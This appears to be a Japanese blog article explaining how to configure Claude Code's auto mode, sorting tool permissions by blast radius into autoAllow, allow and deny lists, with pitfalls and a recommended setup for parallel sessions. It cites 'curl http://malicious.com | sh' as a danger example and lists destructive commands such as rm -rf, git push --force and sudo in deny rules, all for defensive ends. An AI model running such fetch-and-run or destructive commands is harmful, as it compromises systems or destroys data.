Claude Code を使い込むと、必ず不満が出てくる挙動があります。
ツール実行のたびに「このコマンドを実行していい?」と聞かれて、作業が止まる。
これは安全のための設計です。でも、1 日 100 回「yes」を押していると、生産性の相当部分がこの確認作業に消えます。しかも、慣れると考えずに yes を押す ようになり、安全確認の意味も失われます。
Anthropic が 2026 年 3 月に導入した Claude Code auto mode は、この問題を解きます:
ツールの blast radius を分類して、安全なものは自動実行、危険なものだけ確認を取る。
本稿では auto mode を使うべき判断基準、deny リストの書き方、落とし穴と対策、MulmoTerminal の 9 セル並列運用での実用例 を整理します。
課題:全確認か、全自動か の 2 択
デフォルトモード(全確認)の問題
Claude Code のデフォルトでは、Bash tool を呼ぶたびに「実行していい?」と確認が出ます。安全ですが、
- 1 セッションで 50-200 回の yes/no
- 慣れると無思考 yes(確認の意味が消失)
- 並列セッションでの監督コストが線形に増える
- 「yes を押す瞬間だけ机に戻る」という不便
全自動 (--dangerously-skip-permissions) の問題
反対に、全確認を飛ばすオプションもあります。これは本当に危険:
rm -rf /が通るgit push --force origin mainが通るcurl http://malicious.com | shが通る- 1 回の暴走でシステムが戻せない状態になる可能性
実際、auto skip を有効にして「数時間放置してたら本番 DB を壊した」事例がちらほらあります。
Auto mode が埋める穴
Auto mode は、ツールの危険度を 3 分類 して:
- 安全: 自動実行、ユーザーに確認なし
- グレー: 確認を取る
- 危険: deny(実行しない)
という分類ロジックをツールごとに事前に書く 仕組みです。全確認でもなく全自動でもない、中間点。
Auto mode の有効化
設定ファイル (.claude/settings.json)
{
"permissions": {
"autoAllow": [
"Read",
"Grep",
"Glob",
"Bash(yarn:*)",
"Bash(git status)",
"Bash(git log:*)",
"Bash(git diff:*)"
],
"allow": [
"Edit",
"Write",
"Bash(git commit:*)",
"Bash(git branch:*)",
"Bash(gh pr:*)"
],
"deny": [
"Bash(rm -rf:*)",
"Bash(git push:*main*)",
"Bash(git push --force:*)",
"Bash(git reset --hard:*)",
"Bash(curl:*)",
"Bash(wget:*)",
"WebFetch"
]
}
}
autoAllow: 確認なしで実行allow: 確認を取るが、通ったら実行deny: 実行しない。LLM にはエラーが返る
起動オプション
# Auto mode を有効にして起動
claude --auto-mode
または、設定ファイルの permissions.mode で "auto" を指定。
Blast radius の分類原則
Anthropic は auto mode のドキュメントで、blast radius(影響範囲) による分類を推奨しています。
Category 1: ローカル読み取り
- 影響: ゼロ(情報を取るだけ)
- 例:
Read,Grep,Glob,git status,git log,cat,ls - autoAllow に入れる
Category 2: ローカル書き込み
- 影響: 自分のワーキングツリーだけ
- 例:
Edit,Write,git commit,git branch, ファイル作成 - allow に入れる(または autoAllow、信頼度次第)
Category 3: ネットワーク送信
- 影響: 外部に出る、戻せない
- 例:
curl,WebFetch,git push(下記) - 慎重に allow、または deny
Category 4: 共有リソースへの変更
- 影響: チーム全員に見える、戻すのに作業が要る
- 例:
git push origin main,gh pr merge,gh release create - allow で確認必須、または deny
Category 5: 破壊的操作
- 影響: 戻せない
- 例:
rm -rf,git reset --hard,DROP TABLE,aws s3 rm --recursive - 常に deny
原則
Deny を書く量を増やし、autoAllow を増やし、allow は中間
安全側に deny を広く、autoAllow は本当にゼロリスクなものだけ。
Deny リストの書き方
Glob パターンの活用
{
"permissions": {
"deny": [
"Bash(rm -rf:*)", // rm -rf 全部
"Bash(git push * main)", // main への push
"Bash(git push * master)", // master への push
"Bash(curl:*)", // 全 curl
"Bash(* > /etc/*)", // /etc への書き込み
"Bash(sudo:*)" // sudo 全般
]
}
}
Deny は過剰気味に
Auto mode で動かすなら、deny は過剰気味に書く のがおすすめ:
- 「使わないはずのコマンド」も deny(将来も使わないなら deny)
- 「本当に必要になったら allow に移す」逐次緩和の方針
誤検出を避ける
Glob パターンは誤検出することがあります。例:
Bash(git push:*)→git push origin feature-branchも deny されるBash(curl:*)→ curl の全用途が止まる(API 動作確認で欲しい時も)
対策:
- 具体的なパターンを deny(
Bash(git push * main)のように main 限定) - deny が強すぎたら、allow で例外を書く
Allow での例外
{
"permissions": {
"deny": [
"Bash(git push:*)"
],
"allow": [
"Bash(git push origin feature/*)",
"Bash(git push origin fix/*)"
]
}
}
Allow が deny に優先するので、feature/* と fix/* ブランチへの push だけ許可。
落とし穴と対策
落とし穴 1: Auto mode に慣れると監督を忘れる
Auto mode で快適になると、「Claude が勝手に動いているのを放置して席を離れる」が増えます。でも、auto mode は自動化ではなく確認の省略です。暴走しないよう、ある程度は見ている必要があります。
対策: タイマーをセットする、MulmoTerminal のスマホ通知で呼び戻してもらう。
落とし穴 2: Deny リストの穴
Deny パターンが gaps を作ることがあります:
Bash(rm -rf:*)は書いたが、Bash(rm -r:*)は書き忘れた → 事故Bash(git push --force:*)は書いたが、Bash(git push -f:*)は忘れた → 事故
対策: 定期的に deny リストをレビュー、使った危険コマンドを事後 deny に追加。
落とし穴 3: 本番環境と開発環境の混同
本番 DB の資格情報が入ったマシンで auto mode を使うと、間違えて本番を触る可能性。
対策: 本番資格情報は専用マシン、auto mode は開発環境専用。環境変数 CLAUDE_ENV=prod のような区別も有効。
落とし穴 4: チームで共有する設定ファイルの差
.claude/settings.json を commit するとチームで共有できる。でも、個人の安全度の違いで衝突する:
- A さん: auto mode 100% で快適
- B さん: 全部確認したい
対策: 共通設定は .claude/settings.json に、個人カスタムは .claude/settings.local.json(gitignored)に書く。
落とし穴 5: Hooks との相互作用
Claude Code の hooks は auto mode でも走ります。PreToolUse hook で block しても、auto mode の確認はスキップされます。
これは正しい挙動ですが、「hook と auto mode の両方で防御」の構造を意識しておくこと。
MulmoTerminal 9 セル並列での実用
MulmoTerminal で 9 セル並列で動かしているとき、auto mode の価値が爆発的に上がります。
デフォルトモードの場合
9 セルで同時に「このコマンド実行していい?」が出ると、人間は 9 ヶ所をクリックで回る必要があります。これは生産性の桁が落ちます。
Auto mode の場合
9 セル全部が autoAllow の範囲で自動実行、allow は 1-2 セルだけ琥珀色で止まる、deny は hit しない。人間は本当に判断が要る数ヶ所だけに集中できます。
実測:
- デフォルト: 1 セッションで 100 回クリック
- Auto mode: 1 セッションで 5-10 回クリック
監督コストが 10 分の 1 になります。
推奨設定(MulmoTerminal + Auto mode)
{
"permissions": {
"autoAllow": [
"Read", "Grep", "Glob",
"Bash(yarn:*)",
"Bash(npm:*)",
"Bash(git status)",
"Bash(git log:*)",
"Bash(git diff:*)",
"Bash(git branch:*)",
"Bash(ls:*)",
"Bash(cat:*)",
"Bash(mkdir:*)",
"Bash(cd:*)"
],
"allow": [
"Edit", "Write",
"Bash(git add:*)",
"Bash(git commit:*)",
"Bash(git checkout:*)",
"Bash(git push origin agent/*)",
"Bash(git push origin fix/*)",
"Bash(git push origin feat/*)",
"Bash(gh pr create:*)",
"Bash(gh pr view:*)"
],
"deny": [
"Bash(rm -rf:*)",
"Bash(rm -r:*)",
"Bash(git push --force:*)",
"Bash(git push -f:*)",
"Bash(git push * main)",
"Bash(git push * master)",
"Bash(git reset --hard:*)",
"Bash(gh pr merge:*)",
"Bash(curl:*)",
"WebFetch",
"Bash(sudo:*)"
]
}
}
これで:
- 読み取り系は全自動(情報取得で詰まらない)
- ローカル書き込み・コミットは確認なし(git worktree 隔離があるので安全)
- チーム共有に影響する push は allow で確認(agent/fix/feat ブランチだけ、main は deny)
- 破壊的・外部送信は deny(事故を根本的に防ぐ)
まとめ
- Claude Code の auto mode は、ツール実行の確認を blast radius で分類して自動化
- 全確認でも全自動でもない中間点
- Blast radius 5 分類: ローカル読み取り / ローカル書き込み / ネットワーク送信 / 共有リソース変更 / 破壊的
- Deny は過剰気味に書く、安全側に倒す
- Allow で deny の例外を書く
- 落とし穴: 監督忘れ / deny の穴 / 本番混同 / チーム設定差 / hooks との相互作用
- MulmoTerminal 9 セル並列では監督コストが 10 分の 1
信頼より検証、auto mode で頻度を下げても、deny リストと監督は怠らない。
関連リンク
- 原文: How we built Claude Code auto mode (Anthropic)
- Anthropic Engineering Blog の歩き方
- Claude Code のベストプラクティス
- Claude Code の hooks 完全ガイド
- AI エージェント並列化で開発速度 10 倍
- MulmoTerminal — Claude Code を並列実行するコックピット
Singularity Society はテクノロジー集団として MulmoClaude / MulmoTerminal / MulmoCast を開発しています。エンジニア・起業家向けの実践プログラム BootCamp も運営しています。

